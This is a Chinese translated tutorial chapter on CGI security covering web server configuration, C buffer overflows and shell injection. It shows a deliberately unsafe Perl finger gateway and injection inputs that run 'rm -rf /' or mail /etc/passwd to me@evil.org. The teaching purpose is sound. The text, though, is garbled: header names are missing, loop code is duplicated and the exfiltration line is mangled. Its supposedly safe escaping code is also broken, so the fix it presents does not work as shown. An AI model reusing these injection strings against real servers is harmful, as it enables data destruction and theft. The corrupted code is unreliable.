CGI的安全(二)
發(fā)表時間:2024-02-05 來源:明輝站整理相關軟件相關文章人氣:
[摘要]缺省情況下,下面的全局選項這樣設置: Options Indexes FollowSymLinks 當URL指定的目錄里沒有要查找的文件時,Indexes允許你指定一個文件。缺省情況下,這個變量為index.html,通過srm.conf中的DirectoryIndex來指定,很符合我...
缺省情況下,下面的全局選項這樣設置:
Options Indexes FollowSymLinks
當URL指定的目錄里沒有要查找的文件時,Indexes允許你指定一個文件。缺省情況下,這個變量為index.html,通過srm.conf中的DirectoryIndex來指定,很符合我們的意圖。FollowSymLinks意指服務器會返回符號連接指向的數(shù)據(jù)。我沒看到這個特性的必要性,所以我禁止了它,F(xiàn)在,這一行看起來象這樣:
Options Indexes
如果我想在任何目錄中使CGI程序有效,我可以通過包含ExecCGI選項來設置:
Options Indexes ExecCGI
這一行,結(jié)合在srm.conf中的AddType指令,可以允許我通過在任何目錄中給所有的CGI程序添加.cgi的擴展名來執(zhí)行一個CGI。
缺省情況下NCSA httpd的配置,通過在一個具有適當?shù)膶傩院驮L問限制的特定目錄中創(chuàng)建.htaccess文件使access.conf中的所有設置都可以被超越。在這種情況下,我不介意用戶改變它們的訪問限制。然而,我不想賦予用戶在他們自己的目錄里執(zhí)行CGI和.htaccess文件的能力。
AddType application/x-httpd-cgi .cgi
Options Indexes ExecCGI
因此,我編輯access.conf來允許用戶超越除了選項外所有的設置:
AllowOverride FileInfo AuthConfig Limit
現(xiàn)在,我的服務器安全的配置了。我只允許在cgi-bin目錄中運行CGI,并且使服務器嵌入指令完全無效。服務器以nobody用戶運行,一個我的系統(tǒng)中不存在的用戶。我禁止了所有我不需要的特性,并且用戶不能超越這些年特殊的限制。想了解很多的其他的配置信息,包括詳盡的訪問限制,請參照NCSA服務器說明文件。
2.寫出安全的CGI程序
假設你已經(jīng)使的你的計算機和Web服務器很安全了,那么你后面就應該學會怎樣寫出一個安全性很好的CGI程序。編寫安全的CGI的原則和前面提到的相似:
A.你的程序只能實現(xiàn)你指定的功能。
B.不要給客戶額外的它不需要知道的信息。
C.不要相信客戶給你正確的信息。
關于第一條可能存在的安全隱患我在guestbook的例子中已經(jīng)說明了。我提到了幾個可以揭露漏洞的常見的錯誤,但是,你同樣應該記住:你應當考慮你所應用的每一個函數(shù)的所有含義。
第二條是一般安全性原則的簡單擴展:系統(tǒng)之外的人對你的系統(tǒng)了解的越少,你的系統(tǒng)就越?jīng)]有可能被攻破。
最后一條原則只是一條很好的很重要的編程原則,但同樣也是安全性很好的一個。CGI程序應該是安全可靠、健壯的。一個hacker可能做的第一件事是想盡一切辦法通過在你的CGI程序中不斷調(diào)整輸入來搞亂程序,進而達到攻入計算機的目的。如果你的程序并不健壯,那么這時,它或者會崩潰,或者會實現(xiàn)其它的功能(當然這些功能是你不允許的)。這兩種可能性都是令人不快的。為了杜絕這種可能性,不要對你的客戶可能發(fā)送的信息格式或值作任何的假定。
大多數(shù)CGI程序的本質(zhì)是簡單的輸入/輸出程序。它提取客戶端的說明并返回 一些響應。這種程序幾乎沒有風險(當然也會出現(xiàn)漏洞,后面你會看到)。因為CGI程序并不對輸入感興趣,沒有什么錯誤可能發(fā)生。然而,一旦你的程序利用輸入啟動,可能回調(diào)用其他的程序,寫文件,或者做一些功能更強大的而非簡單返回輸出的事情,那么你就會冒引入安全漏洞的風險。通常,功能是直接和安全風險成比例的。
2-1.語言的風險性
不同的語言有其與生俱來的安全風險。任何語言都可以編寫安全的CGI程序,但是你必須注意每個語言的怪癖(急轉(zhuǎn))。這里,我只討論C和Perl,但是它們的有些特性并不適用于其它語言。想得到其他語言的指定信息,請參照適當?shù)奈募?nbsp;
在前面的章節(jié)我們學到,一般來說,編譯CGI程序比解釋腳本更可取。編譯程序有兩個優(yōu)勢:首先,你不需要有服務器可理解的解釋器;其次,程序的源文件是不可訪問的。注意,像Perl一樣的傳統(tǒng)的解釋型語言可以被編譯成二進制形式。(關于如何在Perl中實現(xiàn),請參閱Larry WaRandall Schwartz 的《Perl編程》)從安全立場來說,編譯的Perl程序和編譯的C程序一樣好用。
像C這樣比較低級的語言會出現(xiàn)被稱為buffer overflow的問題。C語言并沒有處理字符串的好的內(nèi)置的方法。通常的方法或者是聲明一個字符數(shù)組或者指向字符的指針。很多人傾向于前一種方法,因為它編程比較簡單。思考一下下面兩個功能等價的程序代碼。
程序1. 在C語言中使用數(shù)組定義字符串.
#include
#include
#define message "Hello, world!"
int main()
{
char buffer[80];
strcpy(buffer,message);
printf("%s\n",buffer);
return 0;
}
程序2. 在C語言中使用指針定義字符串.
#include
#include
#include
#define message "Hello, world!"
int main()
{
char *buffer = malloc(sizeof(char) * (strlen(message) + 1));
strcpy(buffer,message);
printf("%s\n",buffer);
return 0;
}
程序1比程序2簡單得多,而且在這個特定的例子里,兩者都可以很好的工作。我們假設有這樣一個例子:我已經(jīng)知道了我處理的字符串的長度,因此,我可以定義一個適當?shù)臄?shù)組長度。但是,在CGI程序里,你不知道輸入的字符串會有多長。舉個例子,如果信息的長度大于80 char,那么程序1會崩潰(即我們通常說的"溢出")。
這被稱為buffer overflow,聰明的hacker就會利用這個來遠程執(zhí)行命令。這個緩沖溢出的bug存在于NCSA httpd v1.3中。這是為什么一個網(wǎng)絡(或CGI)程序員需要更細心地編程的很好的例子。在一個單用戶的機器里,緩沖溢出只能造成系統(tǒng)崩潰。在崩潰的單用戶計算機中沒有必要利用緩沖溢出來執(zhí)行程序,因為大概你已經(jīng)執(zhí)行了你需要的任何程序(除了公共終端)。然而,在網(wǎng)絡系統(tǒng)中,一個崩潰的CGI程序遠不是這么簡單,它會成為未經(jīng)授權(quán)的用戶進入的后門。
程序2中的代碼解決了兩個問題。首先,它動態(tài)的分配了存儲字符串的足夠的空間。其次,注意我將信息的長度加了1。這樣,我實際上分配了比字符串長度多1字節(jié)的內(nèi)存。這就保證字符串不會是0。因為目標字符總是會為額外的字符留有空間,strcpy()函數(shù)在目標字符串的最后添加了空字符,strcpy()放置了空字符。沒有理由認為傳送給CGI腳本的字符串會是空字符,因此,為了以防萬一,我在最后留了1字節(jié)的空間。
倘若你的C程序避免了像緩沖溢出這樣的問題,那么你就可以寫出安全的CGI程序。然而,這是艱苦的工作,特別是當你的CGI很大更復雜的時候。這些問題將迫使你花費比一般的CGI任務更多的時間來思索低級語言的設計工作;谶@個原因,你可能更喜歡高級一點的編程語言(如Perl)。
然而,具有高級特點的Perl有著冒失的一面。盡管你能假設Perl會正確地處理字符串的存儲,但當Perl使用你并不注意的高級一點的語法做一些事情時,很可能會有危險。在下一節(jié)中你會更清楚的了解到。
2-2.shell危險性
很多的CGI任務都可以使用其他的程序很容易的實現(xiàn)。例如,你要寫一個CGI的郵件網(wǎng)關,完全使用CGI程序來完成執(zhí)行郵件的發(fā)送代理是很愚蠢的行為。更實用的方法是將數(shù)據(jù)通過管道傳送到一個存在的郵件傳送代理程序,比如sendmail,然后讓sendmail來完成剩下的工作。這種習慣很好并值得鼓勵。
安全風險依賴于你怎樣調(diào)用這些外部的程序。完成這項工作在Perl和C中有很多函數(shù)可以實現(xiàn)。它們中很多函數(shù)通過調(diào)用shell,然后讓shell來執(zhí)行這個命令。這些命令被列在表1中,如果你使用了它們中的一個,那么你就使得Unix hells在攻擊下顯得很脆弱。
表1. C和Perl中可以調(diào)用shell的函數(shù).
Perl 函數(shù) C 函數(shù)
system(’...’) system()
open(’ ...’) popen()
exec(’...’)
eval(’...’)
`...`
為什么shell很危險呢?有很多的非數(shù)字的字符可以通過shell轉(zhuǎn)換成特殊的字符。這些字符被稱為元字符(譯者注:這里我將metacharacter譯為元字符),見表2。
表2. Shell metacharacters.
; < > * ` & $
! # ( ) [ ] : {
} ’ "
每一個這種字符在shell中都起著特殊的作用。例如,假如你想利用finger來查詢一臺計算機并將結(jié)果存儲到一個文件中,你可以在命令行中如下輸入:
finger @fake.machine.org > results
這會使用finger查詢主機fake.machine.org并將查詢結(jié)果保存到一個文本文 件results中。這個>字符在這里是一個重定向符。如果你要實際地使用>字符——例如,你想將它回顯到屏幕上——你將需要在這個字符前加一個反斜杠。舉個例子,下面將向屏幕輸出一個符號>:
echo \>
這被稱為轉(zhuǎn)義字符(escaping or sanitizing the character string)。
hacker是怎樣利用這個作為他(她)的優(yōu)勢的?觀察以下程序3中用perl編寫的finger程序。這個程序所做的是允許用戶查詢一個用戶和一臺主機的詳細信息,并且,這個CGI可以查詢用戶并顯示結(jié)果。
[page_break]程序3. finger.cgi.
#!/usr/local/bin/perl
# finger.cgi - an unsafe finger gateway
require ’cgi-lib.pl’;
print &PrintHeader;
if (&ReadParse(*in)) {
print "\n";
print `/usr/bin/finger $in`;
print "\n";
}
else {
print " \n";
print "\n";
print "\n\n";
print "Finger Gateway\n";
print "\n";
print "User@Host: \n";
print "\n";
print "\n";
print " \n";
}
乍一看,這個程序好象沒有什么害處。因為是用Perl編寫的,不會有bufferoverflow的危險。我使用了finger的完全路徑,這樣gateway不會被偽造的finger程序所欺騙。如果輸入是一個不合適的格式,那么gateway將返回一個錯誤而不會被人利用。
但是,如果我嘗試如下的輸入會怎樣呢(如圖1所示)
nobody@nowhere.org;/bin/rm -rf /
FINGER GATEWAY
___________________________________
User@Host: nobody@nowhere.org ; /bin/rm -rf /
-----------------------------------
______________
Submit Query
--------------
(圖1)
(譯者注:原圖是一個瀏覽器,我僅畫出HTML頁中的部分。)
我們來看一下下面的程序行會如何處理這樣的輸入:
print `/usr/bin/finger $in`
由于你使用了向后的標記,首先它會執(zhí)行一個shell。然后它將執(zhí)行如下的命令:
/usr/bin/finger nobody@nowhere.org ; /bin/rm -rf /
這將會怎樣呢?假設在命令行像這樣輸入。它會刪除所有的文件和目錄,從root的目錄開始。我們需要sanitize這個輸入來render the semicolon(;)metacharacter harmless.在Perl中,利用表4中的函數(shù)可以很容易的實現(xiàn)。(C中的這些等價函數(shù)在表5中;它們來自cgihtml的C庫。)
程序4. Perl中的escape_input().
sub escape_input {
@_ =~ s/([;<>\*\ `&\$!?#\(\)\[\]\:’"\\])/\\$1/g;
return @_;
}
程序5. C語言中的escape_input().
char *escape_input(char *str)
/* takes string and escapes all metacharacters.should be used before
including string in system() or similar call. */
{
int i,j = 0;
char *new = malloc(sizeof(char) * (strlen(str) * 2 + 1));
for (i = 0; i < strlen(str); i++) { > strlen(str); i++) { >
printf("i = %d; j = %d\n",i,j);
switch (str[i]) {
case ’ ’: case ’&’: case ’;’: case ’(’: case ’)’: case ’<’: >’: >
case ’>’: case ’\’’: case ’"’: case ’*’: case ’?’: case ’\\’:
case ’[’: case ’]’: case ’$’: case ’!’: case ’#’: case ’;’:
case ’`’: case ’{’: case ’}’:
new[j] = ’\\’;
j++;
break;
default:
break;
}
new[j] = str[i];
j++;
}
new[j] = ’\n’;
return new;
}
這將返回一個帶有跟隨在\后的shell轉(zhuǎn)義字符的字符串。這個修正的finger.cgi網(wǎng)關在程序6中。
程序6. 一個安全的finger.cgi.
#!/usr/local/bin/perl
# finger.cgi - an safe finger gateway
require ’cgi-lib.pl’;
sub escape_input {
@_ =~ s/([;<>\*\ `&\$!#\(\)\[\]\:’"])/\\$1/g;
return @_;
}
print &PrintHeader;
if (&ReadParse(*in)) {
print "\n";
print `/usr/bin/finger &escape_input($in)`;
print "\n";
}
else {
print " \n";
print "\n";
print "\n\n";
print "Finger Gateway\n";
print "\n";
print "User@Host: \n";
print "\n";
print "\n";
print " \n";
}
這次,如果你使用前述相同的輸入,將派生出一個shell,它將嘗試這樣執(zhí)
行:
/usr/bin/finger nobody@nowhere.org \: /bin/rm -rf /
這樣,那個惡意的企圖將無法生效.它不再試圖刪除系統(tǒng)中所有的目錄,而是嘗試finger用戶nobody@nowhere.org,:,/bin/rm,-rf和 /。由于后面的字符組合未必是你的系統(tǒng)中的用戶,因此可能會返回一個錯誤。
記住幾個問題。首先,如果你的Web服務器正確的配置了(例如,以非root 身份運行),那么,刪除文件系統(tǒng)中的所有內(nèi)容的企圖不會成功。(如果服務器以root身份運行,那么潛在的危害將是不可估量的。千萬不要這樣做!)另外,用戶還假定rm命令在/bin目錄中。他或她假定了rm在這個路徑中。然而,所這些只是對大多數(shù)的Unix系統(tǒng)的樂觀的假設,并不是完全適用的。在一個hrooted系統(tǒng)環(huán)境中,這個目錄中并沒有rm命令。那么hacker的努力將是徒勞的。從理論上說,通過安全防范和正確配置你的Web服務器,你可以將潛在的危害降低到幾乎為0,即使是書寫了糟糕的腳本。
然而,你沒有理由在編寫CGI程序時可以掉以輕心。事實上,大多數(shù)的Web環(huán)境并不是chrooted的,僅僅是因為它禁止了很多人需要在Web服務器中需要的靈活性。即使服務器不是以root身份運行,用戶不能將文件系統(tǒng)中的文件全部刪除,一些人可以僅僅通過如下的輸入,將/etc/passwd文件寄給me@evil.org作為可能的攻擊途徑:
nobody@nowhere.org ; /bin/mail me@evil.org < tc/passwd =""> >
我可以通過操縱這個漏洞來干很多事情,即使是在一個配置良好的環(huán)境中。如果你在一個簡單的CGI程序中容許一個漏洞從你的身邊溜過,你怎么能肯定你正確并安全的配置了你復雜的Unix系統(tǒng)和Web服務器?
答案是你不能。你最好打賭弄清楚你的CGI程序是安全的。在shell中運行它之前不輕易接受輸入是很容易對付的事情,它還是CGI編程中最常見的問題之一。
幸運的是,Perl擁有一個捕捉潛在感染的變量的很好的機制。如果你使用taintperl而不是Perl(或者perl -T,如果你使用Perl 5),腳本將在潛在感染的變量傳遞給shell命令處中止。這將幫助你在開始實際使用CGI程序時捕捉到所有的潛在感染的變量的例子。
注意到Perl擁有比C更多的派生shell的函數(shù)。這并不是顯而易見的,即使是對于中級的Perl程序員,在執(zhí)行程序前向后標記派生出一個shell。這是高級語言的風險抉擇;因為你不是很明確地知道它做什么,所以你并不清楚一個函數(shù)會產(chǎn)生怎樣的安全漏洞。
如果你避免了使用調(diào)用shell的函數(shù),那么你不需要刪除敏感的輸入。在Perl 語言中,你可以通過使用system()或者exec()函數(shù)來封裝每一個參數(shù)。例如, 如下的調(diào)用很安全的$input:
system("/usr/ucb/finger",$input);
然而,在你的finger gateway的情況下,這個特點是毫無用處的,因為你要處理finger命令的輸出,這個,除了你使用system函數(shù)外沒有方法可以捕獲。
在C語言中,你也可以通過使用exec一類的函數(shù)來直接執(zhí)行程序:exev(), exec1(),execvp(),execlp(),和execle()。exec1()在C語言中等價于Perl中的 system()函數(shù)。你使用哪一個exec函數(shù)以及如何使之按你的需要執(zhí)行:這些細節(jié)已經(jīng)超出了本書的范圍。
3.安全處理
我前面簡要討論的只是安全問題的一個方面。現(xiàn)在流行的CGI應用程序傾向于 收集信用卡信息。數(shù)據(jù)收集是CGI應用程序的一個簡單的任務,但是敏感信息的收集需要一個將信息從瀏覽器傳送給服務器和CGI程序的安全途徑。
舉個例子,假設我要通過Internet來銷售書。我可能在瀏覽器上建立一個表單,允許要購書的顧客通過表單提交它的個人信息和信用卡號碼。受到這些信息后,我會將它們存儲到我的計算機作為商業(yè)記錄。
如果有人侵入我的商業(yè)計算機,那么他可能會訪問存放顧客信息和信用卡號碼的機密數(shù)據(jù)。為了避免這種情況,我會審查我的計算機配置安全了,并確定用來接受表單的CGI腳本不會被惡意的操縱。換句話說,我,作為計算機的系統(tǒng)管理員和CGI程序員,要盡力控制住第一個問題:防止信息直接從我的計算機中被竊取。
然而,怎樣防止當信息由客戶端發(fā)往服務器過程中有人中途竊取呢?記住信息怎樣由Web服務器傳送到CGI程序了嗎?信息通過網(wǎng)絡由瀏覽器先傳送到服務器,然后服務器將信息傳送給CGI程序。這些信息可能在由客戶機傳送到服務器時被中途竊取(如圖2)。注意,為了保護信息使其不會被中途竊取,必須在客戶和服務器之間進行加密。當然,如果你的客戶機不能識別的話,你不能執(zhí)行特定CGI的加密。
_______________ ______________
瀏覽器 表單輸入
(用戶提交表單; —————————————>
瀏覽器將其以通 <————————————— 服務器 ="" ="">—————————————>
常文本發(fā)送出去) 分析CGI輸出
--------------- --------------
表 /\CGI
不懷好意的hacker單 輸
輸 出
入
\/
_____________
CGI
-------------
(圖2)
More: Java,CGI和安全處理
由于Web處理的特點,使用你獨有的單獨通過CGI程序?qū)崿F(xiàn)的安全處理協(xié)議的唯一途徑是:在表單信息通過瀏覽器傳送到服務器之前將其加密。這個方案如圖3。
_______________ ______________
瀏覽器 加密表單輸入
用戶提交表單; —————————————>
瀏覽器將輸入加 <————————————— 服務器 ="" ="">—————————————>
密,發(fā)送加密信息 分析CGI輸出
--------------- --------------
加 /\CGI
阻止 修補密 輸
惡意 再次輸 出
hacker阻止入 (解密)
\/
_____________
CGI
解密處理輸入,
發(fā)出響應。
-------------
(圖3)
之前,發(fā)展你自己的安全處理協(xié)議幾乎是不可能的。感謝Java這樣的語言,最近在客戶端處理所作的創(chuàng)新,使得這個發(fā)展變成可能。
方法是產(chǎn)生一個標準HTML格式擴展的Java接口。當Java的提交按鈕被選擇時,java Applet會在利用標準的POST HTTP請求將它發(fā)送到Web服務器前先將值加密
(參照圖4)
Web瀏覽器
_______________ ______________
JAVA APPLET 加密數(shù)據(jù)
表單;用戶提交 —————————————>
數(shù)據(jù),APPLET加密 <————————————— 服務器 ="" ="">—————————————>
數(shù)據(jù),發(fā)給服務器 CGI輸出
--------------- --------------
加 /\CGI
密 輸
數(shù) 出
據(jù)
\/
________________
CGI
使用與APPLET相同
方案解密數(shù)據(jù)并處
理,發(fā)出解密響應.
----------------
(圖4)
使用Java作為客戶機來發(fā)送和接收加密的數(shù)據(jù)將允許你使用自己定制的加密方案,而不需要一個昂貴的商業(yè)服務器。
因此,在網(wǎng)絡上安全保密地傳送數(shù)據(jù)信息需要調(diào)整瀏覽器和服務器之間的通信路徑,有一些是不能僅僅靠CGI就能夠控制的。目前有兩種加密客戶機/服務器信息處理的建議:SSL(Secure Sockets Layer)和SHTTP(Secure HTTP),分別由Netscape和EIT(Enterprise Integrations Technology)提議。關于這點,目前還不清楚哪一個將成為標準;很多公司在他們的服務器中兩種都采用了。因此,知道如何在這兩者中編寫CGI程序是很有用的。
3
-1.SSL
SSL是一個協(xié)議獨立的加密方案,在網(wǎng)絡信息包的應用層和傳輸層之間提供了安全的通道(參照圖5)。簡單說來,就是HTML或CGI經(jīng)過了幕后的
服務器進行了加密處理,然而對HTML和CGI的作者來說是透明的。
___________________________________
瀏覽器 傳輸層加密數(shù)據(jù) 服務器
(發(fā)出標準的HTTP —————————————> (解密數(shù)據(jù);解釋成標準
請求) <————————————— 請求并發(fā)出標準響應) ="" ="">—————————————>
---------------- 傳輸層加密數(shù)據(jù)--------------------
(圖5)
因為客戶端和服務器端網(wǎng)絡程序處理加密過程,幾乎你的所有的CGI腳本不需要進行安全事務的修正。有一個顯著的例外。一個nph(no-parse-header)的CGI程序繞過服務器而直接與客戶端進行通信。因此,nph的CGI腳本不會經(jīng)過加密處理,因為信息未得到加密。受此影響的一個值得注意的CGI應用程序是Netscape服務器推動的動態(tài)實現(xiàn)(Netscape server-push animations)。我懷疑這是主要應該值得注意的,然而,更有可能因為要安全的傳輸敏感信息而犧牲頁面中的動畫。
3-2.SHTTP
SHTTP采用一種和SSL不同的方法。它通過擴展HTTP協(xié)議(應用層)來運作,優(yōu)于一個較低層。因此,盡管SSL可以應用于所有的網(wǎng)絡服務,然而SHTTP是一個特定的Web協(xié)議。
另外,還有其它的優(yōu)點。作為HTTP的擴展集,SHTTP全兼容于HTTP和SHTTP的瀏覽器和服務器。為了使用SSL,你必須有一個支持SSL的瀏覽器和服務器。另外,SHTTP是一個更靈活的協(xié)議。例如,這個服務器可以指定首選的加密方案。
SHTTP處理依賴于附加的HTTP頭。因此,如果你想讓你的CGI程序采用SHTTP的加密處理,你需要包含適當?shù)念^。例如,替換簡單返回HTTP頭。
Content-type:text/html
當一個SHTTP服務器從CGI應用程序中收到這個信息,它會知道在將其發(fā)送到瀏覽器之前將信息加密。一個非SHTTP的瀏覽器將忽略附加的頭。
關于使用SHTTP的更多的信息,請參照SHTTP的說明書:
http://www.commerce.net/information/standards/drafts/shttp.txt
4.概要
安全是你在處理網(wǎng)絡應用程序(例如WWW)中不可避免的一件事。如果你的Web服務器沒有安全的配置,那么編寫安全的CGI應用程序就不是非常有用的了。一個正確配置的Web服務器,從另一方面講,可以最小限度的減少因為糟糕的CGI腳本而帶來的損害。
大體上,我們應該記住下面的原則:
A.你的程序應當只能提供你指定的服務。
B.不到必要的時候不暴露任何有關你的服務器的信息。
C.如果有人成功的闖入你的系統(tǒng),應最小限度的減少損害。
D.確定你的應用程序是安全可靠并且嚴密的。
當你編寫CGI程序時,要特別注意你的編程語言的局限性(或不足)以及傳遞給shell的不確定的變量。